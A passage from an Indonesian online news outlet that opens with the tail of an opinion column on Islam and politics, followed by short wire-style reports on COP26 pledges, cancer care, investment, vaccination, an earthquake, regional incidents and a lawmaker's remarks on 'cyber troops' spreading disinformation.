diundang ceramah di Mabes Polri. Dari lisannya muncul pernyataan-pernyataan maha busuk, yang mencoba menyerang Islam dengan kehinaan dan kedustaan luar biasa. Banyak yang terheran, kok Mabes Polri mengundang ulama sesat, yang orang menyebut sebagai "embahnya" liberal. Mengundang kyai Syakur pastilah penuh perhitungan. Maka tidaklah perlu bingung, biasa saja. Islam yang Diperhadap-hadapkan Islam diperhadap-hadapkan seolah musuh. Setidaknya geraknya ingin dibatasi. Maka semua aspek yang bisa mencipta kekuatan coba dilemah-lumpuhkan. Fenomena yang muncul menampakkan itu semua. Maka, jika satu kelompok muslim, tanpa basis sejarah yang jelas mengklaim sesuatu yang besar adalah milik kelompoknya, seraya membesarkan kelompoknya dengan tidak malu-malu, itu pun bisa ditengarai Islam sedang coba diperhadap-hadapkan. Semua tidak terjadi secara kebetulan. Semua dihadirkan dengan perencanaan. Semua digarap dengan terukur. Dimunculkan kelompok Islam dengan penuh fasilitas memanjakan. Ada pula kelompok yang kurang dapat perhatian. Tapi ada pula kelompok yang dimatikan, bahkan pemimpinnya dipenjarakan dengan tanpa kesalahan berarti. Suasana demikian akan terus dipertahankan, dianggap efektif meredam kekuatan Islam agar tidak jadi ancaman. Kelak kerap akan dimunculkan wacana yang punya potensi benturan antarkelompok. Sampai kapan suasana keberagamaan menjengkelkan ini berakhir, tentu berharap agar tangan Tuhan berandil mengembalikan kesadaran umat, bahwa agama (Islam) itu keyakinan yang mustahil bisa dikalahkan kekuatan apa pun. Untuk menutup opini ini, ada ungkapan menarik dari Allah yarham Kuntowijoyo, pantas disajikan di sini: "Agama tak bisa diatur oleh kekuatan politik, agama tumbuh tidak dengan logika kekuasaan, tapi dengan logika kepercayaan. Daya tarik agama berbeda dengan daya tarik politik, sehingga penindasan terhadap agama justru sering menyuburkan agama itu. Agama mempunyai vitalitas (daya hidup) yang berbeda dari politik. Kalau tidak di permukaan, agama akan 'bergerilya' di bawah. Agama itu seperti air, tidak bisa dibendung. Jika dibendung akan selalu mencari jalan untuk mengalir." (Identitas Politik Umat Islam 1997, h. 198). Wallahu a'lam. (*) *) Kolumnis

Wamenlu RI: Pernyataan Inggris tentang Nol Deforestasi Menyesatkan

Jakarta, FNN - Wakil Menteri Luar Negeri RI Mahendra Siregar menyebut pernyataan Menteri Iklim dan Lingkungan Internasional Inggris Zac Goldsmith tentang nol deforestasi (zero deforestation) dan “COP26 Forest Agreement” menyesatkan. Pasalnya, KTT Perubahan Iklim Perserikatan Bangsa-Bangsa itu sedang berjalan sehingga belum ada kesepakatan apapun yang dihasilkan pada 2 November lalu, ketika deklarasi para pemimpin tentang hutan dan penggunaan lahan dirilis oleh Inggris. Dalam keterangan tertulisnya, Kamis, Mahendra menjelaskan bahwa pertemuan yang mendasari lahirnya deklarasi tersebut adalah “Leaders Meeting on Forrest and Land Use”. “Dalam deklarasi yang dihasilkan itu sama sekali tidak ada terminologi ‘end deforestation by 2030’ (mengakhiri deforestasi pada 2030—red),” ujar Wamenlu Mahendra. “Dalam menyikapi pernyataan Goldsmith kita harus mawas diri, jangan lengah, dan tidak boleh terpengaruh,” kata dia, menambahkan. Sebaliknya, Mahendra menegaskan bahwa Indonesia akan terus fokus dalam pengelolaan hutan, seperti yang disampaikan Presiden Joko Widodo dalam pidato pembukaan COP maupun dalam leaders meeting pada 2 November. “Apalagi yang diungkapkan Presiden Jokowi tentang upaya dan pengelolaan hutan kita diapresiasi banyak negara karena memberikan hasil konkret,” tutur dia. Lebih lanjut Wamenlu RI menjelaskan bahwa Indonesia telah mencapai kemajuan terbesar dalam pencegahan karhutla dan deforestasi. “Jadi ada fakta yang kontras. Kita berhasil mengelola hutan, sementara di belahan lain termasuk negara-negara maju seperti AS, Australia, dan Eropa dilanda karhutla yang terbesar selama ini,” kata Mahendra. Sebelumnya, Menteri Iklim dan Lingkungan Internasional Inggris Zac Goldsmith mengatakan bahwa telah terkumpul komitmen “dari lebih dari 100 negara, yang mewakili lebih dari 85 persen hutan dunia, untuk mengakhiri deforestasi pada 2030”. Pernyataan yang merupakan bagian dari dokumen berjudul “COP26 Forest Agreement” itu dia unggah melalui Twitter pada 2 November lalu. This is a turning point for the world’s forests. Each part reinforces the other. Now all of us must keep countries, banks, businesses to their promises. An important moment for our planet.#cop26 pic.twitter.com/wlq8ayd4zU — Zac Goldsmith (@ZacGoldsmith) November 2, 2021 Padahal, berdasarkan dokumen deklarasi para pemimpin dunia termasuk Indonesia, yang berkumpul di Glasgow untuk menghadiri KTT tersebut, sama sekali tidak disebutkan pernyataan tentang mengakhiri deforestasi. Alih-alih menyebut tentang nol deforestasi, deklarasi tersebut menegaskan komitmen para pemimpin untuk “bekerja secara kolektif untuk menghentikan dan membalikkan hilangnya hutan dan degradasi lahan pada 2030, sambil mengupayakan pembangunan berkelanjutan dan mempromosikan transformasi pedesaan yang inklusif”. (mth)

Taj Yasin Ddorong Pengembangan Wisata untuk Pemulihan Ekonomi

Kudus, FNN - Wakil Gubernur Jawa Tengah Taj Yasin mendorong pengembangan objek wisata di Jateng, termasuk di Kabupaten Kudus untuk menunjang pertumbuhan ekonomi di masa pandemi COVID-19. "Adanya Wana Wisata Pijar Park dan kawasan kuliner di objek wisata Pijar Park di Desa Kajar, Kecamatan Dawe, Kudus, ini merupakan daya tarik di Kabupaten Kudus. Salah satunya, produk khas Kudus, yakni kopi muria yang perlu didukung terus," ujarnya saat meresmikan kawasan Kuliner Wana Wisata Pijar Park Desa Kajar, di Kudus, Kamis. Apalagi, kata dia, pijar park ini adalah sebuah Bumdes (Badan Usaha Milik Desa) bekerja sama dengan Perhutani. Di dalamnya ada bumi perkemahan, ada kedai kopi, kaki lima, serta Masda Gayeng, supaya Gayeng sesuai dengan Jateng. Taj Yasin dalam acara Gowes Bareng Himma Kudus dan Santri Gayeng Nusantara (SGN) Jateng mengungkapkan bahwa Kopi Muria sudah lama eksis karena dulunya produknya diambil beberapa kabupaten. Saat ini masyarakat sekitar ingin mengangkat lagi kopi muria dan sudah ekspor. Sementara itu, Ketua Himpunan Mutakhorrijjn Mutakhorrijat Al Anwar Sarang (Himma) Kudus, Kiai Sa'aduddin An Nasih mengatakan pemilihan lokasi Pijar Park merupakan keinginan dari putra-putra almarhum Kiai Maimoen Zubair. "Putera-putera Mbah Moen memang menyukai alam. Beliau-beliau sendiri yang memilih Pijar Park ini sebagai lokasi acara. Kami hanya memfasilitasi, kebetulan banyak pihak yang mendukung," kata Gus Nasih sapaan akrabnya. Lebih jauh, Gus Nasih mengatakan bahwa acara ini merupakan salah satu kegiatan rutin Himma yang sempat tertunda selama dua tahun. Selain Wakil Gubernur Jawa Tengah, acara Gowes Bareng Himma Kudus Bersama Santri Gayeng Nusantara (SGN) juga diikuti langsung oleh DR. Kiai Abdul Ghofur Maimoen dan Kiai Idror Maimoen. (mth)

Rendahnya Deteksi Dini Tantangan Penanganan Kanker di Indonesia

Jakarta, FNN - Indonesia masih menghadapi tantangan besar dalam penanganan kanker mulai dari standar kualitas pelayanan kanker dan sumber daya manusia (SDM) yang belum merata hingga rendahnya upaya skrining dan deteksi dini. dr. Awal Prasetyo, M.Kes, Sp.THT-KL, MARS, selaku Ketua Bidang Organisasi YKI Jawa Tengah mengatakan bahwa tantangan terbesar dalam penanggulangan kanker di Indonesia adalah semakin meningkatnya jumlah penderita kanker dan tingginya kasus stadium lanjut saat pertama kali didiagnosis. "Rendahnya skrining dan deteksi dini pada pasien kanker ini menyebabkan tingginya angka mortalitas," kata Awal Prasetyo dalam diskusi daring, Kamis. Awal juga mengatakan bahwa akses dan fasilitas kesehatan yang mampu memberikan layanan kanker dan sebaran dokter ahli kanker di Indonesia masih belum merata. Selain itu, kata Awal, animo masyarakat untuk berobat kanker ke luar negeri masih tinggi karena mereka meyakini bahwa hasil pengobatan dan kualitas yang mereka dapatkan bisa lebih baik dibanding berobat di dalam negeri. Ketua Yayasan Kanker Indonesia (YKI) Koord. Jawa Tengah dr. Eko Adhi Pangarsa, Sp.PD-KHOM, mengatakan, pelayanan kesehatan di Indonesia saat ini hanya menyediakan 1,18 tempat tidur per 1000 orang penduduk. "Dari jumlah tersebut, Indonesia masih tertinggal jika dibandingkan negara lain yang menyediakan 3,3 tempat tidur per 1000 penduduk," ujar Eko dalam acara virtual, Kamis. "Dari data yang ada terjadi pengeluaran dana sebesar 11,5 miliar dolar AS (sekitar Rp165 triliun) ke luar negeri untuk pengobatan dan kanker merupakan alasan kedua WNI berobat ke luar negeri," kata Eko menambahkan. Untuk mengatasi hal tersebut, Eko menilai bahwa perlu adanya peran serta pemerintah pusat dengan membentuk regulasi yang mengatur sistem kerja organisasi penyelenggara layanan kesehatan kanker dan membentuk badan negara pengendalian kanker sesuai rekomendasi World Health Organization (WHO) lewat program National Cancer Control. "Selain itu, perlu adanya pengembangan jejaring atau stratifikasi layanan kanker menuju terciptanya sistem jejaring kanker nasional yang optimal, komprehensif, dan cost effectiveness," tambahnya. Kemudian, lanjut dia, peran serta pemerintah daerah juga diperlukan dalam membuat kebijakan dan strategi pengendalian kanker, termasuk peningkatan upaya skrining dan deteksi dini serta penguatan fasilitas kesehatan. Eko juga berharap pemerintah dapat mendukung peran komunitas pasien kanker yang terlibat langsung dalam pengendalian kanker di tingkat masyarakat dengan tiga area kerjanya, yaitu pendampingan pasien, edukasi masyarakat, dan penyampaian aspirasi untuk perbaikan pelayanan kanker. "Orkestrasi semua stakeholder ini sangat penting, sehingga kita mampu menurunkan angka kejadian atau fatalitas serta memperbaiki angka harapan hidup penderita kanker di negara kita," tutup Eko. (mth)

Menteri Bahlil: RI Tidak Condong ke Satu Negara untuk Tarik Investasi

Jakarta, FNN - Menteri Investasi/Kepala BKPM Bahlil Lahadalia mengatakan pemerintah tidak condong ke satu negara untuk menarik investasi, namun akan memberikan “karpet merah” bagi semua negara, asalkan kerja sama yang dijalin sesuai ketentuan perundang-undangan. “Indonesia atas arahan Bapak Presiden tidak boleh condong kepada satu negara, harus semua negara kita buka, selama sesuai dengan perundang-undangan yang berlaku, karena kita menganut politik bebas aktif, begitu pun ekonomi,” kata Bahlil melalui keterangan pers daring di kanal Youtube Sekretariat Presiden terkait kunjungan kerja Presiden RI Joko Widodo ke UEA, yang dipantau di Jakarta, Kamis. Bahlil mengatakan pemerintah dalam waktu dekat akan melakukan perjanjian dengan salah satu pengusaha Amerika Serikat, yang menjanjikan nilai investasi sangat fantastis. Sejauh ini, pemerintah masih melakukan negosiasi dengan pengusaha tersebut yang ingin berinvestasi di sektor hilirisasi industri "Kenapa hilirisasi? Salah satu visi besar Presiden pada poin kelima adalah tentang bagaimana transformasi ekonomi, di mana transformasi ekonomi itu adalah wujudnya adalah nilai tambah dengan realisasi ini," katanya. "Kita akan umumkan besok malam mudah-mudahan, tolong doakan bahwa tujuan dari Presiden kali ini baik, dari Eropa maupun Uni Emirat Arab akan mendapatkan hasil yang maksimal demi bagaimana mendongkrak pertumbuhan ekonomi nasional lewat kontribusi investasi," ujar Bahlil menambahkan. Bahlil mendampingi Presiden RI Joko Widodo yang sedang melakukan kunjungan bilateral ke UEA. Lawatan ke UEA merupakan bagian rangkaian kunjungan kerja Presiden Jokowi ke luar negeri pada 29 Oktober 2021-5 November 2021, yang antara lain menghadiri KTT Kelompok G20 dan KTT Perubahan Iklim COP26. (mth)

Anggota DPR Tidak Persoalkan Jumlah Harta Kekayaan Jenderal Andika

Jakarta, FNN - Anggota Komisi I DPR RI Saifullah Tamliha mengaku tidak mempersoalkan harta kekayaan calon Panglima TNI Jenderal Andika Perkasa yang diberitakan mencapai sekitar Rp 179 miliar. Dia menilai Presiden Joko Widodo sudah mempertimbangkan secara matang sebelum menunjuk Jenderal Andika Perkasa sebagai calon Panglima TNI. "Kalau soal harta kekayaan, itu urusan presiden, tentu presiden sudah tahu dari KPK maupun PPATK. Wajar Saja, dia (Andika) menantunya orang kaya," kata Tamliha di Kompleks Parlemen, Jakarta, Kamis. Dia menilai tidak masalah apabila Panglima TNI merupakan orang kaya karena ketika menjabat tidak akan mengutak atik terkait pengadaan Alat Utama Sistem Persenjataan (Alutsista). Anggota Komisi I DPR RI Dave Laksono juga tidak mempersoalkan terkait harta kekayaan Jenderal Andika karena yang bersangkutan sudah melaporkan kepada KPK. Dia menilai sorotan terkait harta kekayaan Jenderal Andika bukan sebuah kendala dan dirinya ingin fokus menanyakan terkait komitmen Jenderal Andika ketika memimpin TNI. "Saya tidak melihat itu (harta kekayaan Andika) sebagai kendala. Saya ingin fokus kepada beliau menjalankan tugasnya nanti sebagai Panglima TNI untuk menyejahterakan prajurit," ujarnya. Selain itu menurut Dave, dirinya ingin mendalami bagaimana Jenderal Andika meningkatkan kualitas sumber daya prajurit, memodernisasi alutsista, dan melakukan mitigasi penanganan terhadap potensi konflik di Indonesia. (mth)

KTT COP26 Sepakati Hentikan Pemakaian Batu Bara

Glasgow, FNN - Polandia, Vietnam, Chile, dan negara-negara lain akan menyatakan janji pada Kamis untuk menghentikan pembangkit listrik berbahan bakar batu bara dan berhenti membangun pembangkit baru. Rencana janji itu tertuang dalam kesepakatan yang akan mengikat 190 negara dan organisasi untuk berhenti menggunakan bahan bakar batu bara, menurut tuan rumah KTT COP26 Inggris. Batu bara adalah bahan bakar fosil yang paling berpolusi dan emisi gas rumah kaca. Pembakaran dari batu bara merupakan penyebab utama perubahan iklim. Membebaskan dunia dari pemakaian batu bara dipandang penting untuk mencapai target iklim yang disepakati secara global. Penandatangan perjanjian COP26 akan berkomitmen pada Kamis untuk menghindari investasi pada pembangkit batu bara baru di dalam dan luar negeri. Selain itu, mereka akan berjanji untuk menghapus pembangkit listrik berbahan bakar batu bara pada tahun 2030-an di negara-negara kaya, dan 2040-an untuk negara-negara miskin, kata pemerintah Inggris. "Akhir batu bara sudah di depan mata. Dunia bergerak ke arah yang benar, siap untuk mengubur batu bara dan merangkul manfaat lingkungan dan ekonomi dengan membangun masa depan yang didukung oleh energi bersih," kata sekretaris negara untuk bisnis dan energi Inggris, Kwasi Kwarteng. Secara terpisah, Powering Past Coal Alliance --persekutuan internasional yang bertujuan untuk menghapus bahan bakar batu bara secara bertahap-- mengatakan telah mendapatkan 28 anggota baru, termasuk Ukraina, yang berjanji untuk berhenti menggunakan bahan bakar batu bara pada 2035. Batu bara menghasilkan sekitar sepertiga dari listrik Ukraina tahun lalu. Faktor-faktor termasuk kekhawatiran atas polusi pemanasan planet dan profil ekonomi yang memburuk untuk pembangkit berbahan bakar batu bara telah membatasi pangsanya di negara-negara barat yang kaya, termasuk Inggris, Jerman dan Irlandia, selama beberapa dekade terakhir. Tapi, batu bara masih menghasilkan sekitar 37 persen dari listrik dunia pada 2019. Pasokan lokal yang murah dan melimpah juga membuat bahan bakar tersebut mendominasi produksi listrik di negara-negara termasuk Afrika Selatan, Polandia, dan India. Negara-negara tersebut akan membutuhkan investasi besar untuk mengalihkan industri dan sektor energi mereka ke sumber yang lebih bersih. Jaringan pipa global untuk proyek pembangkit listrik tenaga batu bara baru telah menyusut dalam beberapa tahun terakhir, meskipun Cina, India, Vietnam, dan Indonesia termasuk di antara negara-negara yang berencana membangun pembangkit listrik tenaga batu bara baru. Inggris tidak mengonfirmasi apakah negara-negara tersebut akan terlibat dalam janji penghentian batu bara COP26, atau apakah janji Vietnam pada Kamis akan memengaruhi pipa proyek batu bara yang sudah dalam tahap prakonstruksi. China mengatakan pada September akan menghentikan pendanaan pembangkit batu bara di luar negeri, meskipun janji itu tidak mencakup proyek-proyek domestik. Sejumlah pengumuman keuangan diharapkan keluar dalam COP26 pada Kamis untuk menyertai janji terkait batu bara --baik melalui investasi baru dalam tenaga bersih maupun dana untuk menopang pekerja dan daerah yang selama ini bergantung pada sektor batu bara untuk mata pencaharian mereka. Negara-negara termasuk Inggris dan Amerika Serikat pada konferensi COP26, Selasa (2/11), mengumumkan kemitraan senilai 8,5 miliar dolar AS (Rp121,8 triliun) dengan Afrika Selatan untuk membantu negara itu berhenti lebih cepat dalam menggunakan batu bara. (sws, reuters)

Satgas COVID-19 Bangka Barat Verifikasi Ulang Warga Penerima Vaksin

Mentok, Babel, FNN - Satuan Tugas Penanganan COVID-19 Kabupaten Bangka Barat, Provinsi Kepulauan Bangka Belitung akan melakukan verifikasi ulang warga yang sudah menerima vaksinasi untuk membantu mempercepat terbentuknya kekebalan komunal atau herd immunity di daerah itu. "Hingga saat ini sudah ada dua desa yang berdasarkan data awal sudah mencapai lebih dari 95 persen warga telah menerima suntikan vaksinasi COVID-19, yaitu Desa Sinarmanik dan Tebing," kata Juru Bicara Satgas Penanganan COVID-19 Kabupaten Bangka Barat, M. Putra Kusuma di Mentok, Kamis. Ia menjelaskan, verifikasi di dua desa tersebut akan dilakukan petugas dengan cara melakukan pemeriksaan lokasi dengan menggelar survei secara acak. Para petugas akan mendatangi beberapa rumah warga dan melakukan pendataan untuk memastikan data awal yang sudah dipegang sama dengan kondisi riil di lapangan. "Jika ditemukan adanya warga yang ternyata belum menerima vaksinasi COVID-19, maka petugas akan berusaha memberikan pelayanan vaksinasi di rumah tersebut," katanya. Dengan pola itu diharapkan bisa membantu mempercepat proses vaksinasi sekaligus mendukung upaya bersama dalam mewujudkan daerah yang sudah terbentuk kekebalan kelompok terhadap COVID-19. Selain itu, kata Putra, Satgas juga merencanakan untuk memasang stiker penanda di rumah-rumah warga yang anggota keluarga memenuhi syarat telah disuntik vaksin COVID-19. "Untuk rencana ini masih kita lakukan diskusi lintas sektor guna merinci langkah teknis di lapangan," katanya. Dengan adanya stiker penanda tersebut diharapkan bisa memudahkan petugas dalam melakukan pendataan warga sehingga target vaksinasi bisa semakin cepat terwujud. "Jika kita sudah mengetahui secara riil kondisi di lapangan terkait jumlah warga yang sudah disuntik vaksin, maka akan sangat membantu dalam pemetaan target lokasi serbuan vaksinasi COVID-19 selanjutnya," katanya. Menurut dia, tim vaksinator nantinya akan melakukan serbuan vaksinasi dengan membuka gerai vaksin di desa atau dusun yang tingkat partisipasi rendah. "Kami targetkan pada akhir Desember 2021 Bangka Barat sudah memenuhi syarat kekebalan kelompok atau 'herd immunity'," katanya. Berdasarkan data terakhir, untuk Kabupaten Bangka Barat dari sebanyak 157.934 orang sasaran vaksinasi COVID-19, yang sudah menerima vaksin dosis pertama sebanyak 104.103 atau 65,92 persen, sedangkan penerima dosis dua 64.135 orang atau 40,61 persen. (sws)

Gempa Magnitudo 5,9 di Maluku Tengah Akibat Sesar Seram Utara

Jakarta, FNN - Gempa tektonik dengan magnitudo 5,9 mengguncang wilayah Laut Seram, Maluku Tengah, pada Kamis, pukul 09.42 WIB, akibat aktivitas sesar naik Seram Utara (North Seram Thrust). Informasi dari Kepala Pusat Gempa bumi dan Tsunami BMKG Bambang Setiyo Prayitno yang diterima secara tertulis di Jakarta, menyebutkan hasil analisis BMKG menunjukkan parameter update gempa dengan magnitudo 5,7. "Gempa yang terjadi merupakan jenis gempa dangkal. Hasil analisis mekanisme sumber menunjukkan bahwa gempa bumi memiliki mekanisme pergerakan geser naik (Oblique Thrust Fault)," katanya. Gempa yang berpusat pada koordinat 2,77 derajat Lintang Selatan, 129,39 derajat Bujur Timur atau tepatnya berlokasi di laut pada jarak 75 km arah timur laut Maluku Tengah, Maluku, pada kedalaman 12 km berdasarkan hasil pemodelan BMKG, tidak berpotensi tsunami. Bambang menyebutkan, dampak gempa tersebut guncangannya dirasakan di daerah Sawai V MMI (getaran dirasakan hampir semua penduduk, orang banyak terbangun),kemudian di Wahai IV MMI (bila pada siang hari dirasakan oleh orang banyak dalam rumah). Guncangan juga dirasakan di Ambon , Masohi, dan Saparua III MMI (getaran dirasakan nyata dalam rumah. Terasa getaran seakan akan truk lewat. Hingga saat ini belum ada laporan kerusakan akibat gempa bumi tersebut. Hingga pukul 10.15 WIB berdasarkan hasil monitoring BMKG, ada tiga aktivitas gempa bumi susulan (aftershock). Untuk itu masyarakat diimbau tetap tenang dan tidak terpengaruh oleh isu yang tidak dapat dipertanggungjawabkan kebenarannya. Bambang juga mengimbau masyarakat untuk menghindari bangunan yang retak atau rusak yang diakibatkan oleh gempa. Periksa dan pastikan bangunan tempat tinggal cukup tahan gempa, ataupun tidak ada kerusakan akibat getaran gempa yg membahayakan kestabilan bangunan sebelum kembali ke dalam rumah. (sws)

Polisi Lakukan Pendekatan Persuasif Terhadap Orang Rimba Pascabentrok

Jambi, FNN - Kepolisian Daerah Jambi melakukan pendekatan persuasif terhadap kelompok orang rimba atau Suku Anak Dalam (SAD) pascabentrok dengan satpam perusahaan perkebunan di Kabupaten Sarolangun yang berujung tiga satpam perusahaan itu mengalami luka tembak. "Saya diperintahkan Kapolda Jambi untuk turun langsung ke lapangan melakukan pendekatan persuasif kepada warga SAD agar mereka tidak mudah terprovokasi dengan isu negatif," kata Kaurbinplin Subbid Provos Bidang Propam Polda Jambi AKP S. Nababan melallui keterangan tertulisnya yang diterima di Jambi, Kamis. Ia mengimbau warga SAD untuk menyerahkan senjata api rakitannya kepada aparat kepolisian. AKP Nababan mengatakan bahwa dirinya sudah 3 hari ini berada di lokasi dan membaur bersama warga SAD. Bahkan, sebelumnya dia membina SAD di Pemenang sekitar 15 tahun. "Makanya, saya turun sendiri agar warga SAD jangan sampai dipengaruhi, dan mereka mau menyerahkan senjata api rakitan kepada polisi," kata AKP Nababan. Sebelumnya, Wakapolda Jambi Brigjen Pol. Yudawan berjanji akan memberikan penanganan sesuai dengan prosedur dan proses hukum yang berlaku atas kasus penembakan oleh warga SAD terhadap satpam perusahaan perkebunan pada pekan lalu. Dalam kasus penembakan tersebut, diketahui warga SAD itu memakai senjata api rakitan laras panjang atau kecepek (senapan lantakan) terhadap tiga satpam perusahaan sawit PT PKM. Merereka yang mengalami luka tembak di bagian tangan dan kaki saat ini dirawat intensif di Rumah Sakit Umum Daerah Kolonel Abundjani Bangko, Merangin. Atas kasus penembakan tersebut, kepolisian berkomunikasi dengan Bupati dan Wakil Bupati Sarolangun dalam memproses SAD. Polisi akan menangani kasus ini sesuai dengan prosedur.(sws)

Rudenim Makassar Memindahkan 27 WNA Pencari Suaka ke Jakarta

Makassar, FNN - Rumah Detensi Imigrasi (Rudenim) Makassar memindahkan 27 orang warga negara asing (WNA) pencari suaka politik dari Makassar ke Jakarta. Kepala Rudenim Makassar Alimuddin di Makassar, Kamis, mengatakan bahwa pemindahan terhadap pengungsi luar negeri itu setelah Direktorat Jenderal Imigrasi Kemenkumham menyetujui langkah tersebut. "Sebelumnya, ada permohonan untuk pemindahan. Setelah dapat persetujuan dari Ditjen Imigrasi, mereka diterbangkan ke Jakarta menunggu proses lebih lanjut," ujarnya. Dikatakan pula bahwa permohonan pemindahan 27 pengungsi luar negeri itu sejak Juni 2021. Namun, tertunda karena pandemik COVID-19, termasuk pemberlakuan PPKM Level IV. "Pemindahan terhambat, selain karena level PPKM ibu kota yang masih tinggi saat itu, mereka harus vaksin terlebih dahulu sampai dosis kedua," katanya. Alimuddin menyebutkan asal negara mereka, yakni tujuh pengungsi asal Palestina, enam asal Myanmar dan Afganistan, lima asal Srilangka, serta tiga asal Somalia. "Pemindahan bertujuan untuk memudahkan proses resettlement (pemindahan ke negara ketiga) karena beberapa tahapan seperti pemeriksaan kesehatan dan wawancara dengan negara penerima di Jakarta," tuturnya. Ia mengatakan bahwa pemindahan mereka ke Jakarta dengan pengawalan petugas Rudenim Makassar dan seorang petugas dari Rudenim Jakarta. Mereka menggunakan penerbangan dengan pesawat Garuda Airlines GA 0641 pukul 12.15 Wita menuju Jakarta. Setiba di Jakarta, petugas mengawal pengungsi ke Kantor Rudenim Jakarta untuk serah terima. Selanjutnya, mereka dikawal petugas menuju tempat penampungan yang berada di bawah pengawasan Rudenim Jakarta. Selain itu, Alimuddin menyebutkan sejak Januari 2021 Rudenim Makassar telah memindahkan 83 pengungsi. Hingga saat ini jumlah pengungsi yang menghuni 20 tempat penampungan di Kota Makassar tercatat 1.597 orang. (sws)

LPSK Dorong Kelanjutan Proses Hukum Penganiayaan Advokat di Kalsel

Jakarta, FNN - Lembaga Perlindungan Saksi dan Korban (LPSK) mendorong pihak kepolisian untuk tetap melanjutkan proses hukum penganiayaan Jurkani, advokat di Tanah Bumbu, Kalimantan Selatan, dan menghukum pelaku sesuai dengan aturan yang berlaku. "Saya berharap pihak kepolisian dapat mengusut tuntas secara transparan tindak kekerasan yang menimpa advokat tersebut," kata Wakil Ketua LPSK Achmadi berdasarkan keterangan tertulis yang diterima di Jakarta, Kamis. Setelah 13 hari dirawat, korban yang merupakan advokat sebuah perusahaan tambang PT Anzawara Satria untuk kasus izin usaha pertambangan (IUP) di Tanah Bumbu itu dinyatakan meninggal dunia di Rumah Sakit Ciputra, Kabupaten Banjar, Provinsi Kalimantan Selatan, Rabu (3/11). Ia mengalami luka bacok dari serangan brutal orang tidak dikenal di lokasi pertambangan daerah Desa Bunati, Kecamatan Angsana, Kabupaten Tanah Bumbu, Jumat (22/10). Sehari setelahnya, tim gabungan Polda Kalimantan Selatan berhasil menangkap dua pelaku penganiayaan itu. Mereka diketahui berada di bawah pengaruh minuman keras saat peristiwa terjadi. Achmadi pun menyampaikan belasungkawa kepada keluarga korban atas peristiwa tersebut. Ia menyayangkan tindakan brutal yang dilakukan pelaku terhadap korban. LPSK, lanjut Achmadi, juga siap berkomitmen dalam memberikan perlindungan kepada para saksi yang mengetahui atau melihat secara langsung penganiayaan brutal itu. Ia mengatakan bahwa pihaknya telah berkoordinasi dengan Polda Kalimantan Selatan untuk mendapatkan berbagai informasi penanganan atas peristiwa tersebut. Menurut Achmadi, LPSK memang memberikan perhatian pada peristiwa ini. Mereka telah menerjunkan tim untuk melakukan investigasi dan pendalaman terhadap duduk perkara masalahnya. ”Akhir Oktober lalu, kami telah mengirimkan tim untuk melakukan pendalaman terkait dengan peristiwa ini. Kami sudah koordinasi dengan penyidik, bertemu pihak terkait keluarga, dan mendatangi korban yang masih dalam perawatan intensif di rumah sakit sehingga tidak memungkinkan asesmen (upaya mendapatkan informasi) mendalam kepada korban,” pungkas Achmadi. (sws)

Anggota DPR: Perlu Kontranarasi Hadapi "Pasukan Siber"

Jakarta, FNN - Anggota Komisi I DPR RI Sukamta memandang perlu kontranarasi dalam menghadapi "pasukan siber" (cyber troop) yang memanipulasi persepsi publik dalam sejumlah narasi kebijakan pemerintah. "Pasukan siber ini memanfaatkan keanoniman yang sangat dimungkinkan di internet dan susah dilacak serta divalidasi identitasnya. Apa yang disebarkan pasukan siber justru disinformasi karena itu penting peran diseminasi informasi yang benar sebagai kontranarasi," kata Sukamta di Jakarta, Kamis. Ia mengemukakan hal itu terkait dengan penelitian LP3ES, Universitas Diponegoro, Universitas Islam Indonesia, Drone Emprit; University of Amsterdam dan KITLV Leiden yang dipublikasikan pada tahun 2021 yang menemukan bahwa pasukan siber berperan dalam memanipulasi persepsi publik dalam sejumlah narasi kebijakan pemerintah. Sukamta berharap Kementerian Komunikasi dan Informatika (Kominfo) sebagai humas harus bisa memerankan fungsi komunikasinya dengan baik dan transparan, harus seimbang dengan peran informatikanya. Ia meminta Kominfo bisa mengomunikasikan kebijakan publik kepada masyarakat luas sehingga jangan sampai komunikasi publik yang buruk memunculkan dugaan-dugaan di benak masyarakat yang pada akhirnya masyarakat punya kesimpulan sendiri yang sering kali menjadi hoaks. "Kehadiran pasukan siber ini memang merepotkan kita. Dia entitas yang sulit dilacak dan diketahui identitasnya, apalagi sekarang pasukan siber tidak hanya user manusia, tetapi juga bisa saja robot," ujarnya. Ke depannya, lanjut dia, robot dengan artificial intelligence, logika algoritma, otomatisasi, bisa "mandiri" tanpa kendali manusia lagi sehingga akan lebih rumit dan repot lagi. Sukamta mencontohkan kasus terbarudi bidang forex dan robot trading, ada kasus "kesalahan" yang dibuat robot trading sehingga para investor terkena margin call massal, yang intinya uang investor raib. "Cara yang perlu dilakukan tentu dengan membatasi ruang gerak pasukan siber. Hal ini harus dibarengi dengan imunitas masyarakat," katanya. Menurut dia, literasi digital harus terus digalakkan terhadap masyarakat agar bisa memilah mana konten yang positif, sehat, dan valid dengan konten yang negatif, hoaks. Apabila literasi digital masyarakat tinggi, kata dia, tentu konten-konten disinformasi akan terminimalisasi karena kurang diminati. "Pada akhirnya, jika kita melihat gambaran dan alur besarnya, bisa saja kehadiran pasukan siber tetap memberi dampak positif untuk demokrasi ke depannya. Kita belum tahu akhir dan ujung dari semua ini 'kan, kita masih dalam proses," ujarnya. Ia melihat sisi positif pasukan siber bisa sebagai pemantik dan agitator diskusi dan perdebatan karena merupakan pendewasaan. Menurut dia, pada akhirnya masyarakat akan sampai pada titik jenuh. Mereka tidak mau terlalu ribut-ribut di dunia maya sehingga akhirnya terbentuk sikap bijak dan saling menghargai. "Kritis namun tetap konstruktif. Itu demokrasi sejati yang kita idamkan," katanya. (sws)

Jadi Ancaman Terbesar Keamanan Nasional, Anis Matta: Isu Perubahan Iklim Jadi Agenda Utama Partai Gelora

